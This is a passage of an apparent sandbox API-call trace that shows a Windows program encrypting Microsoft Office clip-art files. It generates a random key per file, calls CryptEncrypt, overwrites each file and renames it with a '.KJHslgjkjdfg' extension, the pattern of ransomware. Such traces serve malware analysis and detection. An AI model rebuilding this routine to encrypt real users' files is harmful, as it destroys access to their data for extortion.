nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.524] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.524] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.524] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.524] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.524] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.524] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.525] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbcc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbcc, lpOverlapped=0x0) returned 1 [0172.525] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd0) returned 1 [0172.525] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.525] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbd0, lpOverlapped=0x0) returned 1 [0172.525] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.525] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.525] SetEndOfFile (hFile=0x114) returned 1 [0172.527] GetProcessHeap () returned 0x2a0000 [0172.527] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.527] GetProcessHeap () returned 0x2a0000 [0172.527] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.kjhslgjkjdfg")) returned 1 [0172.528] CloseHandle (hObject=0x114) returned 1 [0172.528] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0172.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.529] GetProcessHeap () returned 0x2a0000 [0172.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.529] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.529] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.529] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.529] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.529] GetProcessHeap () returned 0x2a0000 [0172.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.529] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.529] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.529] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.531] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.532] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.532] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.532] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.532] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.532] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.532] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.532] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.532] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1dd0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1dd0, lpOverlapped=0x0) returned 1 [0172.533] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1dd0, dwBufLen=0x1dd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1dd0) returned 1 [0172.533] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.533] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1dd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1dd0, lpOverlapped=0x0) returned 1 [0172.533] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.533] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.533] SetEndOfFile (hFile=0x114) returned 1 [0172.535] GetProcessHeap () returned 0x2a0000 [0172.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.535] GetProcessHeap () returned 0x2a0000 [0172.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.kjhslgjkjdfg")) returned 1 [0172.536] CloseHandle (hObject=0x114) returned 1 [0172.536] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0172.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.538] GetProcessHeap () returned 0x2a0000 [0172.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.538] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.538] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.540] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.540] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.540] GetProcessHeap () returned 0x2a0000 [0172.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.540] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.540] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.540] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.540] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.540] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.540] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.540] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.540] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.541] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.541] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.541] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2358, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2358, lpOverlapped=0x0) returned 1 [0172.542] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2360, dwBufLen=0x2360 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2360) returned 1 [0172.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.542] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2360, lpOverlapped=0x0) returned 1 [0172.542] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.542] SetEndOfFile (hFile=0x114) returned 1 [0172.544] GetProcessHeap () returned 0x2a0000 [0172.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.544] GetProcessHeap () returned 0x2a0000 [0172.545] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.kjhslgjkjdfg")) returned 1 [0172.546] CloseHandle (hObject=0x114) returned 1 [0172.546] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0172.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.547] GetProcessHeap () returned 0x2a0000 [0172.547] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.547] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.547] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.547] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.549] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.549] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.549] GetProcessHeap () returned 0x2a0000 [0172.549] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.549] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.549] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.549] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.549] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.549] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.549] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.549] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.550] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.550] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.550] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3734, lpOverlapped=0x0) returned 1 [0172.551] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3740, dwBufLen=0x3740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3740) returned 1 [0172.551] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.551] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3740, lpOverlapped=0x0) returned 1 [0172.551] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.551] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.551] SetEndOfFile (hFile=0x114) returned 1 [0172.553] GetProcessHeap () returned 0x2a0000 [0172.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.553] GetProcessHeap () returned 0x2a0000 [0172.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.kjhslgjkjdfg")) returned 1 [0172.554] CloseHandle (hObject=0x114) returned 1 [0172.554] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0172.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.555] GetProcessHeap () returned 0x2a0000 [0172.555] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.555] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.555] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.568] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.568] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.568] GetProcessHeap () returned 0x2a0000 [0172.568] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.568] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.569] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.569] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.569] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.569] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.569] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.569] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.569] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.569] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, 